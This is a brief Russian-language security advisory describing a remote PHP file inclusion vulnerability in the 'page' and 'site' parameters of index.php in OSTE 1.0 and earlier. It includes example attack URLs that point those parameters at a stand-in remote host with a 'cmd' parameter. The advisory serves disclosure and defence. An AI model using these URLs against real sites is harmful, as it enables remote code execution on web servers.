Программа: OSTE 1.0 и более ранние версии

Уязвимость позволяет удаленному
пользователю выполнить произвольный PHP
сценарий на целевой систме. Уязвимость
существует из-за недостаточной обработки
входных данных в параметрах "page" и "site"
в сценарии index.php. Удаленный пользователь
может с помощью специально сформированного
URL выполнить произвольный PHP сценарий на
целевой системе с привилегиями web сервера.

Пример:

http://www.site.com/index.php?page=http://evilcode?&cmd= www.site.com/?site=evilcode?&cmd=

Оставить мнение